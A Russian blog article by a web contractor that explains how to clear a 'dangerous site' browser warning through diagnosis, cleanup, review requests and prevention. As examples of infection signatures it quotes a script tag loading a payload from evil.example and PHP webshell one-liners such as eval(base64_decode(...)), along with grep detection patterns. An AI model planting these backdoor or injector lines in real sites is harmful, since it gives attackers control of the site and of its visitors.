Безопасность сайта

Браузер пишет Опасный сайт: что делать владельцу

Откуда у браузеров берётся пометка опасный сайт, как проверить причину и как снять её правильно за один заход.

обновлено 10 минут чтения 5 Дмитрий Акиндинов
Содержание
  1. Кто решает, что сайт опасный
  2. Где посмотреть, за что вас отметили
  3. Какие три типа угроз чаще всего ловят малый бизнес
  4. Чек-лист: что почистить до подачи на пересмотр
  5. Как проверить, что сайт реально чистый
  6. Подача запроса на пересмотр
  7. Сроки снятия пометки
  8. Профилактика, чтобы это не повторилось
  9. Когда звать подрядчика, а не делать самому
  10. Частые вопросы

Красный экран ставит не браузер, а Safe Browsing от Google и антивирусные базы Яндекса. Порядок один: найти в Search Console и Вебмастере, за что отметили, вычистить заражение, закрыть точку входа и подать на пересмотр. Яндекс снимает пометку обычно за сутки, Google от 12 часов до трёх суток.

Зашли на свой сайт, а вместо страницы видите красный экран и текст «Сайт впереди содержит вредоносные программы». Знакомая картина. За шесть лет работы я снимал такую плашку десятки раз, и почти всегда хозяин сайта узнаёт о проблеме именно так: открыл с телефона показать клиенту, а там вот это. В статье разберём, кто именно ставит сайт в «опасные», как точно понять причину и как снять пометку за один заход, а не ходить по кругу с отказами.

Окно браузера с красным щитом-предупреждением

Кто решает, что сайт опасный

Самое частое заблуждение: владельцы думают, что пометку ставит сам Chrome или Яндекс Браузер на основе какого-то локального анализа. Это не так. Браузер только показывает то, что ему сообщает централизованный сервис проверки.

Главных таких сервисов два:

  • Google Safe Browsing. Им пользуются Chrome, Edge, Firefox, Brave, Opera, Vivaldi, Safari (через эквивалентный API). По сути это база URL и доменов, которые Google пометил как небезопасные.
  • Яндекс Safe Browsing. Используется Яндекс Браузером и встроен в фильтрацию выдачи Яндекса. Там же лежат данные о фишинге, мошенничестве и заражённых сайтах.

Когда Chrome загружает страницу, он отправляет в Safe Browsing хеш URL и получает ответ: чисто или нет. Если нет, отрисовывается красный полноэкранный варнинг. Тот, кто внимательно читал предупреждение, уже видел маленькую ссылку «Подробнее» — это и есть подсказка, что произошло.

В Яндекс Браузере логика похожая, но движков фактически два: Safe Browsing от Google и собственный антивирусный модуль Яндекса, который ловит свои сигнатуры. Поэтому бывает так, что Chrome открывает сайт нормально, а Яндекс Браузер ругается. И наоборот.

Зачем им вообще это надо

Поисковики и браузеры не хотят, чтобы пользователь словил вирус по их ссылке. Если человек кликнул в Яндексе по выдаче и попал на фишинг, виноват окажется Яндекс. Поэтому фильтры жёсткие, лучше перебдеть.

Для владельца это значит простое правило: не пытайтесь спорить с системой и не жалуйтесь на несправедливость. Алгоритм увидел паттерн, его задача защитить пользователя, а наша задача убрать паттерн и доказать, что чисто.

Где посмотреть, за что вас отметили

Самое полезное действие на этом этапе — не гадать, а посмотреть в первоисточник. Источников ровно два, и оба бесплатные.

Google Search Console

Если домен подтверждён в Search Console, заходите в раздел «Проблемы безопасности». Там будет конкретное описание: «Внедрённый вредоносный код», «Социальная инженерия», «Нежелательное ПО». Будут URL-примеры, на которых Google поймал проблему. Часто там же приведён фрагмент подозрительного кода, который инжектится.

Если домена в Search Console нет, добавьте прямо сейчас, верифицируйтесь TXT-записью DNS или загрузкой HTML-файла. Без Search Console вы будете чинить сайт вслепую, а потом ждать, пока Google «сам разберётся». Не разберётся.

Google Transparency Report

Прямой адрес проверки: https://transparencyreport.google.com/safe-browsing/search. Вбиваете домен и получаете публичный отчёт: помечен ли, по какой категории, сколько раз и когда последний раз сканировался. Это полезно для отчёта клиенту: показал скриншот, видно, что сайт реально в базе.

Яндекс Вебмастер

Для пометки в Яндекс Браузере и в выдаче нужен Яндекс Вебмастер. Раздел «Диагностика» — «Безопасность и нарушения». Если там есть запись, увидите тип угрозы и список заражённых страниц.

Какие три типа угроз чаще всего ловят малый бизнес

По моему опыту 90% случаев укладываются в три типа. Если знать их в лицо, диагностика быстрее.

1. Внедрённый вредоносный код (malware injection)

Это классика. На сайт залили бэкдор, через бэкдор положили скрипт-инжектор, который добавляет в HTML код типа <script src="https://evil.example/payload.js"></script> или закодированный в base64 кусок JavaScript. Скрипт перенаправляет посетителей на партнёрки, фишинг или майнер.

Сигнатуры в коде, которые сразу намекают:

eval(base64_decode("aHR0cHM6Ly9..."));
@assert($_REQUEST["x"]);
preg_replace("/.*/e", $_POST["c"], "");

Эти конструкции в нормальном WordPress-плагине почти не встречаются. Если grep по всему сайту находит десятки таких строк, это и есть причина пометки.

2. Социальная инженерия (фишинг)

Сайт показывает поддельные формы логина, фейковые предупреждения «Ваш Windows заражён», кнопки «скачать обновление Flash Player». Часто это делается через скрытую папку, например /wp-content/uploads/2024/12/secure-login/, куда злоумышленник положил клон страницы Сбера или Госуслуг.

Малый бизнес часто узнаёт об этом не от клиентов, а от хостера: тот сам пробежал scan и увидел чужие HTML-файлы, не похожие на ваш WordPress.

3. Нежелательное ПО (unwanted software)

Сайт раздаёт файлы, которые Google классифицирует как PUA (potentially unwanted applications). Это может быть взлом-кряк, «ускоритель браузера», фейковый антивирус. У легального малого бизнеса это редкость, но бывает: загрузили на сайт zip с условным «образовательным материалом», внутри лежит изменённый exe, а Google этот exe распознаёт как adware.

Отдельный случай: ваш сайт хостит SDK или скрипт, который сам Google недавно начал считать нежелательным. Бывало, что обычный счётчик стал PUA после очередного апдейта классификации. Лечение — выкинуть скрипт.

Чек-лист: что почистить до подачи на пересмотр

Подавать заявку на пересмотр имеет смысл, только когда сайт реально чистый. Иначе автоматическая проверка снова найдёт следы и выдаст отказ, после чего следующая заявка будет рассматриваться дольше.

ШагЧто сделатьКоманда / место
1Снять полный бэкап грязного состоянияtar czf dirty.tgz public_html/
2Сменить все пароли (хостинг, FTP, БД, админка CMS)панель хостинга
3Найти все недавно изменённые файлыfind . -mtime -14 -type f
4Проверить файлы по эталонной checksum CMSдля WP — wp core verify-checksums
5Удалить ВСЕ инжекты в .htaccess, index.php, header.php, wp-config.phpредактор + diff с чистой копией
6Прочистить таблицу wp_options (поля siteurl, home, active_plugins)phpMyAdmin или WP-CLI
7Снести все неиспользуемые темы и плагиныадминка WP
8Обновить ядро CMS, темы, плагины до актуальных версийадминка / composer
9Поставить файрвол (Wordfence, MalCare, Astra)плагин
10Проверить, что фронт чистый со стороны браузераDevTools — вкладка Network

Особое внимание uploads/. Там не должно быть .php, .phtml, .php5, .phar файлов вообще. Команда для проверки:

find wp-content/uploads -type f ( -name "*.php*" -o -name "*.phtml" -o -name "*.phar" ) -ls

Если что-то нашлось — смотрите, что внутри, и почти наверняка удаляйте. В нормальном WordPress в uploads php-файлов не бывает.

Лупа сканирует файлы сайта на предмет вредоносного кода

Как проверить, что сайт реально чистый

Удалить инжекты — половина дела. Надо убедиться, что никакая страница больше не отдаёт то, за что вас наказали.

Проверка снаружи без браузерных кешей

Откройте сайт через мобильную сеть с другого устройства, на которое раньше не заходили. Часто инжекты срабатывают только для определённого user-agent или только из определённых стран. Проверка с десктопа в Chrome ничего не даст, если редирект включается только на iPhone из поисковика.

Полезный однострочник, чтобы проверить, отдаёт ли сайт что-то подозрительное мобильному User-Agent:

curl -A "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15" 
  -e "https://www.google.com/" 
  -L -s https://example.ru/ | grep -iE "eval|base64|atob|fromCharCode|location.replace"

Если вылезли подозрительные вызовы JavaScript — значит инжект ещё на месте, копайте дальше.

Проверка через сторонние сканеры

Я обычно прогоняю сайт через два-три внешних чекера, чтобы получить независимую оценку:

  • sitecheck.sucuri.net — бесплатный sucuri-сканер. Покажет, что лежит на странице, какие подключаются скрипты.
  • urlvoid.com — агрегатор репутаций по нескольким базам.
  • virustotal.com — можно сабмитнуть URL, увидеть мнения 70+ движков.

Это не заменит подачу заявки в Google, но даёт уверенность, что вы реально вычистили инжект, а не просто переименовали файл.

Проверка изнутри Search Console

В Search Console есть инструмент проверки конкретного URL: вставляете адрес заражённой страницы, жмёте «Проверить URL», потом «Проверить опубликованный URL». Google заходит на страницу прямо сейчас и сообщает результат. Если он вернёт зелёный ответ для всех страниц, помеченных как заражённые, можно подавать запрос на пересмотр.

Подача запроса на пересмотр

В Google

Заходите в Search Console — «Проблемы безопасности». Там, где написана причина, есть кнопка «Запросить проверку». Жмёте.

Откроется форма. Здесь важно, что писать. Не надо лить эмоции «мы не виноваты, у нас порядочный бизнес». Гугл интересует только конкретика. Шаблон, который у меня обычно проходит с первого раза:

Добрый день. Сайт example.ru был заражён скриптом-инжектором, добавлявшим в шаблон header.php вредоносный JavaScript, перенаправлявший пользователей на сторонние ресурсы. Точкой входа стала уязвимость в плагине Contact Form 7 версии X.X. Что было сделано: 1) Восстановлен чистый WordPress core по checksum. 2) Удалены все инжекты в шаблоне темы, .htaccess и таблице wp_options. 3) Обновлены все плагины до актуальных версий. 4) Сменены пароли админки, FTP и базы данных. 5) Установлен Wordfence Premium и проведён полный скан. 6) Включена двухфакторная аутентификация для всех админов. Прошу провести повторную проверку. Спасибо.

Структура важна: коротко, по пунктам, по делу. Гугл не читает мотивационных писем, заявку обрабатывает алгоритм плюс быстрый просмотр модератора, если что-то спорное.

В Яндексе

В Яндекс Вебмастере — «Безопасность и нарушения» — «Я всё исправил». Аналогично: жмёте кнопку, добавляете короткое описание. У Яндекса процесс обычно быстрее, но и фильтр менее агрессивный.

Сроки снятия пометки

Реальные сроки в 2026 году по моему опыту:

  • Google: от 12 часов до 3 суток. Если в первые сутки не сняли — не паникуйте, не подавайте повторную заявку, иначе сбросите счётчик. Обычно к концу третьих суток снимают.
  • Яндекс: чаще всего в течение 24 часов.

Если через 5 суток в Google ничего не изменилось — значит автоматическая проверка нашла что-то ещё. Возвращайтесь в Search Console, смотрите, какие URL остались с проблемой. Нередко выясняется, что почистили основной сайт, а на поддомене или в /old/ копии всё ещё лежит мусор.

Что делать, если повторно отказали

Не сдавайтесь и не пытайтесь хитрить. Алгоритм понимает, что вы пытались пройти проверку через перенаправление, через cloak, через временное закрытие сайта — это только усугубит. Делаете заново всё с нуля:

  1. Поднимаете локально или на staging копию сайта.
  2. Чистите там, проверяете каждый файл.
  3. Заливаете обратно полную чистую копию, перезатирая всё.
  4. Снова прогоняете внешние сканеры.
  5. Подаёте новую заявку с обновлённым описанием.
Зелёная галочка над окном браузера, сайт снова безопасный

Профилактика, чтобы это не повторилось

Снять пометку — вопрос техники. Не словить её снова — вопрос дисциплины. Минимум:

  • Регулярные обновления CMS, тем и плагинов. Раз в неделю проверка, раз в месяц фактическое обновление с тестом на staging.
  • Файрвол с актуальными правилами. WordPress — Wordfence или iThemes. Битрикс — проактивный фильтр в актуальной редакции.
  • Бэкапы не на том же хостинге, а минимум на S3-совместимом хранилище. Чистый бэкап семидневной давности спасёт больше, чем десять антивирусов после факта.
  • Двухфакторка для всех админов CMS и панели хостинга.
  • Ограничение доступа к /wp-admin/ по IP или по cookie. Banal, но фильтрует 95% автоматических ботов.
  • Запрет выполнения PHP в uploads/ через .htaccess:
<FilesMatch ".(php|phtml|php5|phar)$">
    Require all denied
</FilesMatch>

И последнее. Если вы платите за абонентское обслуживание, эти пункты должны быть в списке услуг. Если их нет — значит обслуживания у вас нет, есть только обещание реакции на инциденты. Разница принципиальная.

Когда звать подрядчика, а не делать самому

Делать самому имеет смысл, если у вас есть опыт работы с Linux-сервером, понимание PHP и SQL, и время. Если ничего из этого нет — вы потратите три-четыре дня на разбор, в итоге всё равно что-то пропустите, заявка будет отклонена, сайт будет лежать в красной плашке ещё неделю. По деньгам это дороже, чем заплатить за час-два работы человеку, который такие случаи разбирает регулярно.

Сигналы, что пора звать на помощь:

  • Не понимаете, чем eval(base64_decode(...)) отличается от обычного кода.
  • Не знаете, как зайти на сервер по SSH или через FTP.
  • В админку CMS не попадаете, потому что её закрыло вместе с сайтом.
  • Уже подали одну заявку, получили отказ, и не понимаете, что в ней было неправильно.
  • Сайт — основной канал заявок, и каждый день простоя стоит больше, чем работа специалиста.

В моих абонементах тариф «Авария» включает разбор такого инцидента целиком: чистка, заявка на пересмотр, отчёт. Если сейчас горит — пишите в контактах, смотрим прямо сегодня. Другие материалы по безопасности и восстановлению лежат в рубрике безопасность.

Частые вопросы

Что делать, если браузер пишет про опасный сайт

Не подавать заявку на пересмотр сразу. Сначала посмотреть в Search Console и Вебмастере, какой тип угрозы нашли, вычистить файлы и базу, закрыть уязвимость. Заявка на невычищенном сайте только удлиняет карантин.

Сколько держится пометка

После успешной проверки Яндекс обычно снимает её в течение суток, Google от 12 часов до трёх суток. Если заражение вернулось, следующий пересмотр идёт дольше.

Где посмотреть, за что отметили сайт

В Google Search Console раздел с проблемами безопасности, в Яндекс Вебмастере раздел с диагностикой. Там указан тип угрозы и примеры заражённых адресов, с них и начинают разбор.

Может ли это быть ложным срабатыванием

Может, но редко. Чаще срабатывает на обфусцированных скриптах и на сторонних виджетах, которые подгружают чужой код. Прежде чем спорить, стоит проверить сайт независимым сканером.

Передайте техническую часть в надёжные руки.

Слежу за хостингом, бэкапами и обновлениями. Когда что-то пойдёт не так – звоните мне, не своему программисту, не в спортзал и не маме.

Короткие вопросы по теме

Все вопросы по теме "Безопасность сайта"

Заявка

Обсудим задачу

Напишите имя и телефон, выберите удобный канал. Перезвоню или напишу в течение часа в рабочее время.

Куда удобнее ответить?